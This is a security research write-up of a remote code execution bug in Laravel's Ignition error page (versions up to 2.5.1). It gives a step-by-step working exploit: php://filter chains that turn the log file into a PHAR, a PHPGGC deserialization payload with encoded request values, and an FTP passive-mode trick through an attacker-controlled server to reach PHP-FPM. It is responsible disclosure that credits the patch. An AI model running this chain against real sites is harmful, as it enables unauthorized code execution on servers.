# Laravel<= v8.4.2 debug mode: Remote code execution In late November of 2020, during a security audit for one of our clients, we came accross a website based on [Laravel](https://laravel.com/). While the site's security state was pretty good, we remarked that it was running in debug mode, thus displaying verbose error messages including stack traces:  Upon further inspection, we discovered that these stack traces were generated by [Ignition](https://github.com/facade/ignition), which were the default Laravel error page generator starting at version 6. Having exhausted other vulnerability vectors, we started to have a more precise look at this package. # Ignition <= 2.5.1 In addition to displaying beautiful stack traces, Ignition comes with _solutions_ , small snippets of code that solve problems that you might encounter while developping your application. For instance, this is what happens if we use an unknown variable in a...
# Laravel<= v8.4.2 debug mode: Remote code execution In late November of 2020, during a security audit for one of our clients, we came accross a website based on [Laravel](https://laravel.com/). While the site's security state was pretty good, we remarked that it was running in debug mode, thus displaying verbose error messages including stack traces:  Upon further inspection, we discovered that these stack traces were generated by [Ignition](https://github.com/facade/ignition), which were the default Laravel error page generator starting at version 6. Having exhausted other vulnerability vectors, we started to have a more precise look at this package. # Ignition <= 2.5.1 In addition to displaying beautiful stack traces, Ignition comes with _solutions_ , small snippets of code that solve problems that you might encounter while developping your application. For instance, this is what happens if we use an unknown variable in a template:  By clicking "Make variable Optional", the `{{ $username }}` in our template is automatically replaced by `{{ $username ? '' }}`. If we check our HTTP log, we can see the endpoint that was invoked:  Along with the solution classname, we send a file path and a variable name that we want to replace. This looks interesting. Let's first check the class name vector: can we instanciate anything ? class SolutionProviderRepository implements SolutionProviderRepositoryContract { ... public function getSolutionForClass(string $solutionClass): ?Solution { if (! class_exists($solutionClass)) { return null; } if (! in_array(Solution::class, class_implements($solutionClass))) { return null; } return app($solutionClass); } } No: Ignition will make sure the class we point to implements `RunnableSolution`. Let's have a closer look at the class, then. The code responsible for this is located in `./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php`. Maybe we can change the contents of an arbitrary file ? class MakeViewVariableOptionalSolution implements RunnableSolution { ... public function run(array $parameters = []) { $output = $this->makeOptional($parameters); if ($output !== false) { file_put_contents($parameters['viewFile'], $output); } } public function makeOptional(array $parameters = []) { $originalContents = file_get_contents($parameters['viewFile']); // [1] $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents); $originalTokens = token_get_all(Blade::compileString($originalContents)); // [2] $newTokens = token_get_all(Blade::compileString($newContents)); $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']); if ($expectedTokens !== $newTokens) { // [3] return false; } return $newContents; } protected function generateExpectedTokens(array $originalTokens, string $variableName): array { $expectedTokens = []; foreach ($originalTokens as $token) { $expectedTokens[] = $token; if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) { $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]]; $expectedTokens[] = [T_COALESCE, '??', $token[2]]; $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]]; $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]]; } } return $expectedTokens; } ... } The code is a bit more complex than we expected: after reading the given file path [1], and replacing `$variableName` by `$variableName ?? ''`, both the initial file and the new one will be tokenized [2]. If we structure of the code did not change more than expected, the file will be replaced with its new contents. Otherwise, `makeOptional` will return `false` [3], and the new file won't be written. Hence, we cannot do much using `variableName`. The only input variable left is `viewFile`. If we make abstraction of `variableName` and all of its uses, we end up with the following code snippet: $contents = file_get_contents($parameters['viewFile']); file_put_contents($parameters['viewFile'], $contents); So we're writing the contents of `viewFile` back into `viewFile`, without any modification whatsoever. This does **nothing** ! Looks like we have a CTF on our hands. # Exploiting nothing We came out with two solutions; if you want to try it yourself before reading the rest of the blog post, here's how you set up your lab: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve ## Log file to PHAR ### PHP wrappers: changing a file By now, everyone has probably heard of the [upload progress technique demonstrated by Orange Tsai](http://blog.orange.tw/2018/10/). It uses `php://filter` to change the contents of a file before it is returned. We can use this to transform a file's contents using our exploit primitive: $ echo test | base64 | base64 > /path/to/file.txt $ cat /path/to/file.txt ZEdWemRBbz0K $f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt'; # Reads /path/to/file.txt, base64-decodes it, returns the result $contents = file_get_contents($f); # Base64-decodes $contents, then writes the result to /path/to/file.txt file_put_contents($f, $contents); $ cat /path/to/file.txt test We have changed the contents of the file ! Sadly, this applies the transformation twice. Reading the documentation shows us a way to only apply it once: # To base64-decode once, use: $f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt'; # OR $f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt'; Badchars will even be ignored: $ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt $f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt'; $contents = file_get_contents($f); file_put_contents($f, $contents); $ cat /path/to/file.txt test ### Writing the log file By default, Laravel's log file, which contains every PHP error and stack trace, is stored in `storage/log/laravel.log`. Let's generate an error by trying to load a file that does not exist, `SOME_TEXT_OF_OUR_CHOICE`: [2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75) [stacktrace] #0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError() #1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents() #2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional() #3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run() #4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke() [...] #32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\\Pipeline\\Pipeline->Illuminate\\Pipeline\\{closure}() #33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\\Pipeline\\Pipeline->then() #34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter() #35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle() #36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...') #37 {main} "} Superb, we can inject (almost) arbitrary content in a file. In theory, we could use Orange's technique to convert the log file into a valid PHAR file, and then use the `phar://` wrapper to run serialized code. Sadly, this won't work, for a lot of reasons. ### The `base64-decode` chain shows its limits We said earlier that PHP will ignore any badchar when base64-decoding a string. This is true, except for one character: `=`. If you use the `base64-decode` filter a string that contains a `=` in the middle, PHP will yield an error and return nothing. This would be fine if we controlled the whole file. However, the text we inject into the log file is only a very small part of it. There is a decently sized prefix (the date), and a huge suffix (the stack trace) as well. Furthermore, our injected text is present twice ! Here's another horror: php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]'))); string(0) "" php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]'))); string(1) "2" Depending on the date, decoding the prefix twice yields a result which a different size. When we decode it a third time, in the second case, our payload will be prefixed by `2`, changing the alignement of the base64 message. In the cases were we _could_ make it work, we'd have to build a new payload for each target, because the stack trace contains absolute filenames, and a new payload every second, because the prefix contains the time. And we'd still get blocked if a `=` managed to find its way into one of the many base64-decodes. We therefore went back to the PHP doc to find other kinds of filters. ### Enters encoding Let's backtrack a little. The log file contains this: [previous log entries] [prefix]PAYLOAD[midfix]PAYLOAD[suffix] We have learned, regrettably, that spamming base64-decode would probably fail at some point. Let's use it to our advantage: it we spam it, a decoding error will happen, and the log file will get cleared ! The next error we cause will stand alone in the log file: [prefix]PAYLOAD[midfix]PAYLOAD[suffix] Now, we're back to our original problem: keeping a payload and removing the rest. Luckily, `php://filter` is not limited to base64 operations. You can use it to convert charsets, for instance. Here's [UTF-16 to UTF-8](https://www.php.net/manual/en/filters.convert.php#filters.convert.iconv): echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); 卛浯牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯畳晦硩崠 This is really good: our payload is there, safe and sound, and the prefix and suffix became non-ASCII characters. However, in log entries, our payload is displayed twice, not once. We need to get rid of the second one. Since UTF-16 works with two bytes, we can misalign the second instance of `PAYLOAD` by adding one byte at its end: echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt'); 卛浯牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯畳晦硩崠 The beautiful thing about this is that the alignment of the prefix does not matter anymore: if it is of even size, the first payload will be decoded properly. If not, the second will. We can now combine our findings with the usual base64-decoding to encode whatever we want: $ echo -n TEST! | base64 | sed -E 's/./\0\\0/g' V\0E\0V\0T\0V\0C\0E\0=\0 $ echo -ne '[Some prefix ]V\0E\0V\0T\0V\0C\0E\0=\0X[midfix]V\0E\0V\0T\0V\0C\0E\0=\0X[Some suffix ]' > /tmp/test.txt php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/tmp/test.txt'); TEST! Talking about alignement, how would the conversion filter behave if the log file is not 2-byte aligned itself ? PHP Warning: file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence in php shell code on line 1 Again, a problem. We can easily solve this one by two payloads: a harmless payload A, and the active payload, B. We'd have: [prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix] [prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix] Since prefix, midfix and suffix are present twice, along with PAYLOAD_A and PAYLOAD_B, the log file would necessarily have an even size, avoiding the error. Finally, we have a last problem to solve: we use NULL bytes to pad our payload bytes from one to two. Trying to load a file with a NULL byte in PHP results in the following error: PHP Warning: file_get_contents() expects parameter 1 to be a valid path, string given in php shell code on line 1 Therefore, we won't be able to inject a payload with NULL bytes in the error log. Luckily, a final filter comes to the rescue: [convert.quoted-printable- decode](https://www.php.net/manual/en/filters.convert.php#filters.covert.quoted- printable). We can encode our NULL bytes using `=00`. Here is our final conversion chain: viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log ### Complete exploit steps Create a PHPGGC payload and encode it: php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/./\0=00/g' U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00 Clear logs (x10): viewFile: php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/path/to/storage/logs/laravel.log Create first log entry, for alignment: viewFile: AA Create log entry with payload: viewFile: U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=00M=00f=00n=00/=00Y=00B=00A=00A=00A=00A=00A=00Q=00A=00A=00A=00A=00F=00A=00B=00I=00A=00Z=00H=00V=00t=00b=00X=00l=00u=00d=00Q=004=00A=001=00U=00l=003=00t=00r=00Q=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00U=00E=00s=00D=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00I=00Q=00A=007=00m=00z=00i=004=00H=00Q=00A=00A=00A=00B=000=00A=00A=00A=00A=00O=00A=00B=00I=00A=00L=00n=00B=00o=00Y=00X=00I=00v=00c=003=00R=001=00Y=00i=005=00w=00a=00H=00B=00u=00d=00Q=004=00A=00V=00y=00t=00B=00h=00L=00Y=00B=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=008=00P=003=00B=00o=00c=00C=00B=00f=00X=000=00h=00B=00T=00F=00R=00f=00Q=000=009=00N=00U=00E=00l=00M=00R=00V=00I=00o=00K=00T=00s=00g=00P=00z=004=00N=00C=00l=00B=00L=00A=00w=00Q=00A=00A=00A=00A=00A=00A=00A=00A=00A=00A=00C=00E=00A=00D=00H=005=00/=002=00A=00Q=00A=00A=00A=00A...=00Q=00==00==00 Apply our filter to convert the log file into a valid PHAR: viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/path/to/storage/logs/laravel.log Launch the PHAR deserialization: viewFile: phar:///path/to/storage/logs/laravel.log Result:  As an exploit:  Right after confirming the attack in a local environment, we went on to test it on our target, **and it did not work**. The log file had a different name. After hours spent trying to guess its name, we could not, and resorted to implementing another attack. _We probably should have checked this a little bit ahead of time_. ## Talking to PHP-FPM using FTP Since we could run `file_get_contents` for anything, we were able to scan common ports by issuing HTTP requests. PHP-FPM appeared to be listening on port 9000. It is well-known that, if you can send an arbitrary binary packet to the PHP- FPM service, you can execute code on the machine. This technique is often used in combination with the `gopher://` protocol, which is supported by `curl`, but not by PHP. Another protocol known for allowing you to send binary packets over TCP is FTP, and more precisely its passive mode: if a client tries to read a file from (resp. write to) an FTP server, the server can tell the client to read (resp. write) the contents of the file onto a specific IP and port. There is no limitation as to what these IP and port can be. For instance, the server can tell the client to connect to one of its own ports if it wants to. Now, if we try to exploit the vulnerability with `viewFile=ftp://evil- server.lexfo.fr/file.txt`, here's what will happen: 1. `file_get_contents()` connects to our FTP server, and downloads file.txt. 2. `file_put_contents()` connects to our FTP server, and uploads it back to file.txt. You probably know were this is going: we'll use the FTP protocol's passive mode to make `file_get_contents()` download a file on our server, and when it tries to upload it back using `file_put_contents()`, we will tell it to send the file to `127.0.0.1:9000`. This allows us to send an arbitrary packet to PHP-FPM, and **therefore execute code**. This time, the exploitation succeeded on our target. # Conclusion PHP is full of surprises: no other language would yield these vulns with the same two lines (although, to be fair, [Perl would have done it in one](https://perldoc.perl.org/functions/open)). We reported the bug, along with a patch, to the maintainers of [`Ignition` on GitHub](https://github.com/facade/ignition/pull/334) on the 16th of November 2020, and a new version ([2.5.2](https://github.com/facade/ignition/releases/tag/2.5.2)) was issued the next day. Since it is a `require-dev` dependency of Laravel, we expect every instance installed after this date to be safe.